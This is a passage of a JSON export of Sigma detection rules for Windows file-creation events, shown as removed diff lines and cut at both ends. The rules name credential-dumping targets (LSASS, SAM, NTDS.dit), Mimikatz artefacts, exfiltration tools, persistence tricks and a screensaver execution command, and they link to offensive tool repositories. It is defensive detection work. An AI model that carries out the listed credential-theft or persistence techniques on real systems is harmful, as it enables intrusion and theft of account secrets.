- "https://medium.com/@markmotig/some-ways-to-dump-lsass-exe-c4a75fdc49bf", - "https://github.com/helpsystems/nanodump", - "https://www.google.com/search?q=procdump+lsass", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_lsass_dump.yml", - "https://www.whiteoaksecurity.com/blog/attacks-defenses-dumping-lsass-no-mimikatz/", - "https://github.com/elastic/detection-rules/blob/c76a39796972ecde44cb1da6df47f1b6562c9770/rules/windows/credential_access_lsass_memdump_file_created.toml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001" - ] - }, - "uuid": "a5a2d357-1ab8-4675-a967-ef9990a59391", - "value": "LSASS Process Memory Dump Files" - }, - { - "description": "LSASS memory dump creation using operating systems utilities. Procdump will use process name in output file if no name is specified", - "meta": { - "author": "Teymur Kheirkhabarov, oscd.community", - "creation_date": "2019/10/22", - "falsepositive": [ - "Dumping lsass memory for forensic investigation purposes by legitimate incident responder or forensic invetigator", - "Dumps of another process that contains lsass in its process name (substring)" - ], - "filename": "file_event_win_lsass_memory_dump_file_creation.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_lsass_memory_dump_file_creation.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001" - ] - }, - "uuid": "5e3d3601-0662-4af0-b1d2-36a05e90c40a", - "value": "LSASS Memory Dump File Creation" - }, - { - "description": "Detects WerFault creating a dump file with a name that indicates that the dump file could be an LSASS process memory, which contains user credentials", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/06/27", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_lsass_werfault_dump.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_lsass_werfault_dump.yml", - "https://github.com/helpsystems/nanodump" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001" - ] - }, - "uuid": "c3e76af5-4ce0-4a14-9c9a-25ceb8fda182", - "value": "WerFault LSASS Process Memory Dump" - }, - { - "description": "A office file with macro is created from a commandline or a script", - "meta": { - "author": "frack113", - "creation_date": "2022/01/23", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_macro_file.yml", - "level": "medium", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_macro_file.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1566.001/T1566.001.md", - "https://docs.microsoft.com/en-us/deployoffice/compat/office-file-format-reference" - ], - "tags": [ - "attack.initial_access", - "attack.t1566.001" - ] - }, - "uuid": "b1c50487-1967-4315-a026-6491686d860e", - "value": "Dump Office Macro Files from Commandline" - }, - { - "description": "Detects javaw.exe in AppData folder as used by Adwind / JRAT", - "meta": { - "author": "Florian Roth, Tom Ueltschi, Jonhnathan Ribeiro, oscd.community", - "creation_date": "2017/11/10", - "falsepositive": "No established falsepositives", - "filename": "file_event_win_mal_adwind.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_mal_adwind.yml", - "https://www.hybrid-analysis.com/sample/ba86fa0d4b6af2db0656a88b1dd29f36fe362473ae8ad04255c4e52f214a541c?environmentId=100", - "https://www.first.org/resources/papers/conf2017/Advanced-Incident-Detection-and-Threat-Hunting-using-Sysmon-and-Splunk.pdf" - ], - "tags": [ - "attack.execution", - "attack.t1059.005", - "attack.t1059.007" - ] - }, - "uuid": "0bcfabcb-7929-47f4-93d6-b33fb67d34d1", - "value": "Adwind RAT / JRAT" - }, - { - "description": "Detects Octopus Scanner Malware.", - "meta": { - "author": "NVISO", - "creation_date": "2020/06/09", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_mal_octopus_scanner.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_mal_octopus_scanner.yml", - "https://securitylab.github.com/research/octopus-scanner-malware-open-source-supply-chain" - ], - "tags": [ - "attack.t1195", - "attack.t1195.001" - ] - }, - "uuid": "805c55d9-31e6-4846-9878-c34c75054fe9", - "value": "Octopus Scanner Malware" - }, - { - "description": "Malware can use mountable Virtual Hard Disk .vhd file to encapsulate payloads and evade security controls", - "meta": { - "author": "frack113, Christopher Peacock '@securepeacock', SCYTHE '@scythe_io'", - "creation_date": "2021/10/25", - "falsepositive": [ - "Legitimate user creation" - ], - "filename": "file_event_win_mal_vhd_download.yml", - "level": "medium", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://www.kaspersky.com/blog/lazarus-vhd-ransomware/36559/", - "https://redcanary.com/blog/intelligence-insights-october-2021/", - "https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_mal_vhd_download.yml" - ], - "tags": [ - "attack.resource_development", - "attack.t1587.001" - ] - }, - "uuid": "8468111a-ef07-4654-903b-b863a80bbc95", - "value": "Suspicious VHD Image Download From Browser" - }, - { - "description": "Detects the creation of files that contain Kerberos tickets based on an extension used by the popular tool Mimikatz", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/11/08", - "falsepositive": [ - "Unlikely" - ], - "filename": "file_event_win_mimikatz_kirbi_file_creation.yml", - "level": "critical", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_mimikatz_kirbi_file_creation.yml", - "https://cobalt.io/blog/kerberoast-attack-techniques" - ], - "tags": [ - "attack.credential_access", - "attack.t1558" - ] - }, - "uuid": "9e099d99-44c2-42b6-a6d8-54c3545cab29", - "value": "Mimikatz Kirbi File Creation" - }, - { - "description": "Detects Mimikatz MemSSP default log file creation", - "meta": { - "author": "David ANDRE", - "creation_date": "2021/12/20", - "falsepositive": [ - "Unlikely" - ], - "filename": "file_event_win_mimimaktz_memssp_log_file.yml", - "level": "critical", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_mimimaktz_memssp_log_file.yml", - "https://pentestlab.blog/2019/10/21/persistence-security-support-provider/" - ], - "tags": [ - "attack.credential_access", - "attack.t1003" - ] - }, - "uuid": "034affe8-6170-11ec-844f-0f78aa0c4d66", - "value": "Mimikatz MemSSP Default Log File Creation" - }, - { - "description": "Detects the use of Moriya rootkit as described in the securelist's Operation TunnelSnake report", - "meta": { - "author": "Bhabesh Raj", - "creation_date": "2021/05/06", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_moriya_rootkit.yml", - "level": "critical", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://securelist.com/operation-tunnelsnake-and-moriya-rootkit/101831", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_moriya_rootkit.yml" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.t1543.003" - ] - }, - "uuid": "a1507d71-0b60-44f6-b17c-bf53220fdd88", - "value": "Moriya Rootkit" - }, - { - "description": "Detects msdt.exe creating files in suspicious directories", - "meta": { - "author": "Vadim Varganov, Florian Roth", - "creation_date": "2022/08/24", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_msdt_autorun.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_msdt_autorun.yml", - "https://irsl.medium.com/the-trouble-with-microsofts-troubleshooters-6e32fc80b8bd", - "https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/" - ], - "tags": [ - "attack.persistence", - "attack.t1547.001", - "cve.2022.30190" - ] - }, - "uuid": "318557a5-150c-4c8d-b70e-a9910e199857", - "value": "MSDT.exe Creates Files in Autorun Directory" - }, - { - "description": "Detects the creation of suspicious files and folders inside the user's AppData folder but not inside any of the common and well known directories (Local, Romaing, LocalLow). This method could be used as a method to bypass detection who exclude the AppData folder in fear of FPs", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/05", - "falsepositive": [ - "Unlikely" - ], - "filename": "file_event_win_new_files_in_uncommon_appdata_folder.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_new_files_in_uncommon_appdata_folder.yml", - "Internal Research" - ], - "tags": [ - "attack.defense_evasion", - "attack.execution" - ] - }, - "uuid": "d7b50671-d1ad-4871-aa60-5aa5b331fe04", - "value": "Creation Suspicious File In Uncommon AppData Folder" - }, - { - "description": "An attacker may execute an application as a .SCR File (Screensaver) using rundll32.exe desk.cpl,InstallScreenSaver", - "meta": { - "author": "Christopher Peacock @securepeacock, SCYTHE @scythe_io", - "creation_date": "2022/04/27", - "falsepositive": [ - "The installation of new screen savers." - ], - "filename": "file_event_win_new_src_file.yml", - "level": "medium", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_new_src_file.yml", - "https://lolbas-project.github.io/lolbas/Libraries/Desk/" - ], - "tags": [ - "attack.t1218.011", - "attack.defense_evasion" - ] - }, - "uuid": "c048f047-7e2a-4888-b302-55f509d4a91d", - "value": "SCR File Write Event" - }, - { - "description": "Detects creation of new \".dll\" files inside the plugins directory of a notepad++ installation by a process other than \"gup.exe\". Which could indicates possible persistence", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/06/10", - "falsepositive": [ - "Possible FPs during first installation of Notepad++", - "Legitimate use of custom plugins to enhance notepad++ functionality by users" - ], - "filename": "file_event_win_notepad_plus_plus_persistence.yml", - "level": "medium", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://pentestlab.blog/2022/02/14/persistence-notepad-plugins/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_notepad_plus_plus_persistence.yml" - ], - "tags": [ - "attack.persistence" - ] - }, - "uuid": "54127bd4-f541-4ac3-afdb-ea073f63f692", - "value": "Persistence Via Notepad++ Plugins" - }, - { - "description": "Detects suspicious creations of a file named ntds.dit, e.g. by a PowerShell parent or in a suspicious directory or a suspicious one liner", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/03/11", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_ntds_dit.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://www.n00py.io/2022/03/manipulating-user-passwords-without-mimikatz/", - "https://github.com/samratashok/nishang/blob/414ee1104526d7057f9adaeee196d91ae447283e/Gather/Copy-VSS.ps1", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_ntds_dit.yml", - "https://pentestlab.blog/tag/ntds-dit/", - "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.003" - ] - }, - "uuid": "4e7050dd-e548-483f-b7d6-527ab4fa784d", - "value": "Suspicious NTDS.DIT Creation" - }, - { - "description": "Detects suspicious creations of files with names used in various tools that export the NTDS.DIT for exfiltration", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/03/11", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_ntds_exfil_tools.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_ntds_exfil_tools.yml", - "https://github.com/rapid7/metasploit-framework/blob/eb6535009f5fdafa954525687f09294918b5398d/data/post/powershell/NTDSgrab.ps1", - "https://github.com/SecureAuthCorp/impacket/blob/7d2991d78836b376452ca58b3d14daa61b67cb40/impacket/examples/secretsdump.py#L2405", - "https://github.com/rapid7/metasploit-framework/blob/eb6535009f5fdafa954525687f09294918b5398d/modules/post/windows/gather/ntds_grabber.rb" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.003" - ] - }, - "uuid": "3a8da4e0-36c1-40d2-8b29-b3e890d5172a", - "value": "Suspicious NTDS Exfil Filename Patterns" - }, - { - "description": "Detects add-ins that load when Microsoft Word or Excel starts (.wll/.xll are simply .dll fit for Word or Excel).", - "meta": { - "author": "NVISO", - "creation_date": "2020/05/11", - "falsepositive": [ - "Legitimate add-ins" - ], - "filename": "file_event_win_office_persistence.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_office_persistence.yml", - "Internal Research" - ], - "tags": [ - "attack.persistence", - "attack.t1137.006" - ] - }, - "uuid": "8e1cb247-6cf6-42fa-b440-3f27d57e9936", - "value": "Microsoft Office Add-In Loading" - }, - { - "description": "Detects the creation of a macro file for Outlook.\nGoes with win_outlook_c2_registry_key. VbaProject.OTM is explicitly mentioned in T1137.\nParticularly interesting if both events Registry & File Creation happens at the same time.\n", - "meta": { - "author": "@ScoubiMtl", - "creation_date": "2021/04/05", - "falsepositive": [ - "User genuinly creates a VB Macro for their email" - ], - "filename": "file_event_win_outlook_c2_macro_creation.yml", - "level": "medium", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_outlook_c2_macro_creation.yml" - ], - "tags": [ - "attack.persistence", - "attack.command_and_control", - "attack.t1137", - "attack.t1008", - "attack.t1546" - ] - }, - "uuid": "8c31f563-f9a7-450c-bfa8-35f8f32f1f61", - "value": "Outlook C2 Macro Creation" - }, - { - "description": "Detects the creation of new Outlook form which can contain malicious code", - "meta": { - "author": "Tobias Michalski", - "creation_date": "2021/06/10", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_outlook_newform.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_outlook_newform.yml", - "https://twitter.com/blueteamsec1/status/1401290874202382336?s=20" - ], - "tags": [ - "attack.persistence", - "attack.t1137.003" - ] - }, - "uuid": "c3edc6a5-d9d4-48d8-930e-aab518390917", - "value": "Outlook Form Installation" - }, - { - "description": "Detects processes creating temp files related to PCRE.NET package", - "meta": { - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2020/10/29", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_pcre_net_temp_file.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_pcre_net_temp_file.yml", - "https://twitter.com/tifkin_/status/1321916444557365248", - "https://twitter.com/rbmaslen/status/1321859647091970051" - ], - "tags": [ - "attack.execution", - "attack.t1059" - ] - }, - "uuid": "6e90ae7a-7cd3-473f-a035-4ebb72d961da", - "value": "PCRE.NET Package Temp Files" - }, - { - "description": "Detects the use of Pingback backdoor that creates ICMP tunnel for C2 as described in the trustwave report", - "meta": { - "author": "Bhabesh Raj", - "creation_date": "2021/05/05", - "falsepositive": [ - "Very unlikely" - ], - "filename": "file_event_win_pingback_backdoor.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://app.any.run/tasks/4a54c651-b70b-4b72-84d7-f34d301d6406", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_pingback_backdoor.yml", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/backdoor-at-the-end-of-the-icmp-tunnel" - ], - "tags": [ - "attack.persistence", - "attack.t1574.001" - ] - }, - "uuid": "2bd63d53-84d4-4210-80ff-bf0658f1bf78", - "value": "Pingback Backdoor" - }, - { - "description": "Detects the creation of known powershell scripts for exploitation", - "meta": { - "author": "Markus Neis, Nasreddine Bencherchali, Mustafa Kaan Demir", - "creation_date": "2018/04/07", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_powershell_exploit_scripts.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/S3cur3Th1sSh1t/WinPwn", - "https://github.com/S3cur3Th1sSh1t/PowerSharpPack/tree/master/PowerSharpBinaries", - "https://raw.githubusercontent.com/Neo23x0/sigma/f35c50049fa896dff91ff545cb199319172701e8/rules/windows/powershell/powershell_malicious_commandlets.yml", - "https://github.com/NetSPI/PowerUpSQL", - "https://github.com/PowerShellMafia/PowerSploit", - "https://github.com/BC-SECURITY/Invoke-ZeroLogon/blob/111d17c7fec486d9bb23387e2e828b09a26075e4/Invoke-ZeroLogon.ps1", - "https://github.com/nettitude/Invoke-PowerThIEf", - "https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/6f23bb41f9675d7e2d32bacccff75e931ae00554/OfficeMemScraper.ps1", - "https://github.com/dafthack/DomainPasswordSpray/blob/b13d64a5834694aa73fd2aea9911a83027c465a7/DomainPasswordSpray.ps1", - "https://github.com/CsEnox/EventViewer-UACBypass", - "https://github.com/xorrior/RandomPS-Scripts/blob/848c919bfce4e2d67b626cbcf4404341cfe3d3b6/Get-DXWebcamVideo.ps1", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_powershell_exploit_scripts.yml", - "https://github.com/AlsidOfficial/WSUSpendu/" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "f331aa1f-8c53-4fc3-b083-cc159bc971cb", - "value": "Malicious PowerShell Commandlet Names" - }, - { - "description": "Attempts to detect PowerShell writing startup shortcuts.\nThis procedure was highlighted in Red Canary Intel Insights Oct. 2021, \"We frequently observe adversaries using PowerShell to write malicious .lnk files into the startup directory to establish persistence.\nAccordingly, this detection opportunity is likely to identify persistence mechanisms in multiple threats.\nIn the context of Yellow Cockatoo, this persistence mechanism eventually launches the command-line script that leads to the installation of a malicious DLL\"\n", - "meta": { - "author": "Christopher Peacock '@securepeacock', SCYTHE", - "creation_date": "2021/10/24", - "falsepositive": [ - "Unknown", - "Depending on your environment accepted applications may leverage this at times. It is recommended to search for anomalies inidicative of malware." - ], - "filename": "file_event_win_powershell_startup_shortcuts.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_powershell_startup_shortcuts.yml", - "https://redcanary.com/blog/intelligence-insights-october-2021/", - "https://github.com/redcanaryco/atomic-red-team/blob/36d49de4c8b00bf36054294b4a1fcbab3917d7c5/atomics/T1547.001/T1547.001.md#atomic-test-7---add-executable-shortcut-link-to-user-startup-folder" - ], - "tags": [ - "attack.persistence", - "attack.t1547.001" - ] - }, - "uuid": "92fa78e7-4d39-45f1-91a3-8b23f3f1088d", - "value": "PowerShell Writing Startup Shortcuts" - }, - { - "description": "Detects a dump file written by QuarksPwDump password dumper", - "meta": { - "author": "Florian Roth", - "creation_date": "2018/02/10", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_quarkspw_filedump.yml", - "level": "critical", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://jpcertcc.github.io/ToolAnalysisResultSheet/details/QuarksPWDump.htm", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_quarkspw_filedump.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.002" - ] - }, - "uuid": "847def9e-924d-4e90-b7c4-5f581395a2b4", - "value": "QuarksPwDump Dump File" - }, - { - "description": "Detects Rclone config file being created", - "meta": { - "author": "Aaron Greetham (@beardofbinary) - NCC Group", - "creation_date": "2021/05/26", - "falsepositive": [ - "Legitimate Rclone usage (rare)" - ], - "filename": "file_event_win_rclone_exec_file.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_rclone_exec_file.yml", - "https://research.nccgroup.com/2021/05/27/detecting-rclone-an-effective-tool-for-exfiltration/" - ], - "tags": [ - "attack.exfiltration", - "attack.t1567.002" - ] - }, - "uuid": "34986307-b7f4-49be-92f3-e7a4d01ac5db", - "value": "Rclone Config File Creation" - }, - { - "description": "Detects actions caused by the RedMimicry Winnti playbook", - "meta": { - "author": "Alexander Rausch", - "creation_date": "2020/06/24", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_redmimicry_winnti_filedrop.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://redmimicry.com", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_redmimicry_winnti_filedrop.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027" - ] - }, - "uuid": "130c9e58-28ac-4f83-8574-0a4cc913b97e", - "value": "RedMimicry Winnti Playbook Dropped File" - }, - { - "description": "Detects a phishing attack which expands a ZIP file containing a malicious shortcut. If the victim expands the ZIP file via the explorer process, then the explorer process expands the malicious ZIP file and drops a malicious shortcut redirected to a backdoor into the Startup folder. Additionally, the file name of the malicious shortcut in Startup folder contains {0AFACED1-E828-11D1-9187-B532F1E9575D} meaning the folder shortcut operation.", - "meta": { - "author": "Greg (rule)", - "creation_date": "2022/07/21", - "falsepositive": "No established falsepositives", - "filename": "file_event_win_ripzip_attack.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_ripzip_attack.yml", - "https://twitter.com/jonasLyk/status/1549338335243534336?t=CrmPocBGLbDyE4p6zTX1cg&s=19" - ], - "tags": [ - "attack.t1547", - "attack.persistence" - ] - }, - "uuid": "a6976974-ea6f-4e97-818e-ea08625c52cb", - "value": "RipZip Attack on Startup Folder" - }, - { - "description": "Detects the creation of files that look like exports of the local SAM (Security Account Manager)", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/02/11", - "falsepositive": [ - "Rare cases of administrative activity" - ], - "filename": "file_event_win_sam_dump.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/FireFart/hivenightmare", - "https://github.com/cube0x0/CVE-2021-36934", - "https://www.google.com/search?q=%22reg.exe+save%22+sam", - "https://github.com/search?q=CVE-2021-36934", - "https://github.com/HuskyHacks/ShadowSteal", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_sam_dump.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.002" - ] - }, - "uuid": "4e87b8e2-2ee9-4b2a-a715-4727d297ece0", - "value": "SAM Dump File Creation" - }, - { - "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", - "meta": { - "author": "frack113", - "creation_date": "2022/02/13", - "falsepositive": [ - "Legitimate use" - ], - "filename": "file_event_win_screenconnect_artefact.yml", - "level": "medium", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-5---screenconnect-application-download-and-install-on-windows", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_screenconnect_artefact.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1219" - ] - }, - "uuid": "fec96f39-988b-4586-b746-b93d59fd1922", - "value": "ScreenConnect Temporary Installation Artefact" - }, - { - "description": "This rule will monitor executable and script file creation by office applications. Please add more file extensions or magic bytes to the logic of your choice.", - "meta": { - "author": "Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule)", - "creation_date": "2021/08/23", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_script_creation_by_office_using_file_ext.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", - "https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_script_creation_by_office_using_file_ext.yml" - ], - "tags": [ - "attack.t1204.002", - "attack.execution" - ] - }, - "uuid": "c7a74c80-ba5a-486e-9974-ab9e682bc5e4", - "value": "Created Files by Office Applications" - }, - { - "description": "Detects a Windows executable that writes files to suspicious folders", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/11/20", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_shell_write_susp_directory.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_shell_write_susp_directory.yml", - "Internal Research" - ], - "tags": "No established tags" - }, - "uuid": "1277f594-a7d1-4f28-a2d3-73af5cbeab43", - "value": "Windows Shell File Write to Suspicious Folder" - }, - { - "description": "Detects windows executables that writes files with suspicious extensions", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/12", - "falsepositive": [ - "Unknown" - ], - "filename": "file_event_win_shell_write_susp_files_extensions.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_shell_write_susp_files_extensions.yml", - "Internal Research" - ], - "tags": "No established tags" - }, - "uuid": "b8fd0e93-ff58-4cbd-8f48-1c114e342e62", - "value": "Windows Binaries Write Suspicious Extensions" - }, - { - "description": "A General detection for files being created in the Windows startup directory. This could be an indicator of persistence.", - "meta": { - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2020/05/02", - "falsepositive": [ - "An FP could be caused by legitimate application writing shortcuts for example. This folder should always be inspected to make sure that all the files in there are legitimate" - ], - "filename": "file_event_win_startup_folder_file_write.yml", - "level": "medium", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/OTRF/detection-hackathon-apt29/issues/12", - "https://threathunterplaybook.com/evals/apt29/detections/5.B.1_611FCA99-97D0-4873-9E51-1C1BA2DBB40D.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_startup_folder_file_write.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547.001" - ] - }, - "uuid": "2aa0a6b4-a865-495b-ab51-c28249537b75", - "value": "Startup Folder File Write" - }, - { - "description": "Detects the usage of ADSI (LDAP) operations by tools. This may also detect tools like LDAPFragger.", - "meta": { - "author": "xknow @xknow_infosec, Tim Shelton", - "creation_date": "2019/03/24", - "falsepositive": [ - "Other legimate tools, which do ADSI (LDAP) operations, e.g. any remoting activity by MMC, Powershell, Windows etc." - ], - "filename": "file_event_win_susp_adsi_cache_usage.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://github.com/fox-it/LDAPFragger", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_adsi_cache_usage.yml", - "https://medium.com/@ivecodoe/detecting-ldapfragger-a-newly-released-cobalt-strike-beacon-using-ldap-for-c2-communication-c274a7f00961", - "https://blog.fox-it.com/2020/03/19/ldapfragger-command-and-control-over-ldap-attributes/" - ], - "tags": [ - "attack.t1001.003", - "attack.command_and_control" - ] - }, - "uuid": "75bf09fa-1dd7-4d18-9af9-dd9e492562eb", - "value": "Suspicious ADSI-Cache Usage By Unknown Tool" - }, - { - "description": "Detects suspicious .NET assembly executions. Could detect using Cobalt Strike's command execute-assembly.", - "meta": { - "author": "omkar72, oscd.community, Wojciech Lesicki", - "creation_date": "2020/10/12", - "falsepositive": [ - "Rundll32.exe with zzzzInvokeManagedCustomActionOutOfProc in command line and msiexec.exe as parent process - https://twitter.com/SBousseaden/status/1388064061087260675" - ], - "filename": "file_event_win_susp_clr_logs.yml", - "level": "high", - "logsource.category": "file_event", - "logsource.product": "windows", - "refs": [ - "https://bohops.com/2021/03/16/investigating-net-clr-usage-log-tampering-techniques-for-edr-evasion/", - "https://github.com/olafhartong/sysmon-modular/blob/5e5f6d90819a7f35eec0aba08021d0d201bb9055/11_file_create/include_dotnet.xml", - "https://blog.menasec.net/2019/07/interesting-difr-traces-of-net-clr.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_clr_logs.yml" - ], - "tags": [ - "attack.execution", - "attack.defense_evasion", - "attack.t1059.001", - "attack.t1218" - ] - }, - "uuid": "e4b63079-6198-405c-abd7-3fe8b0ce3263", - "value": "Suspicious CLR Logs Creation" - }, - { - "description": "Once executed, colorcpl.exe will copy the arbitrary file to c:\\windows\\system32\\spool\\drivers\\color\\", - "meta": { - 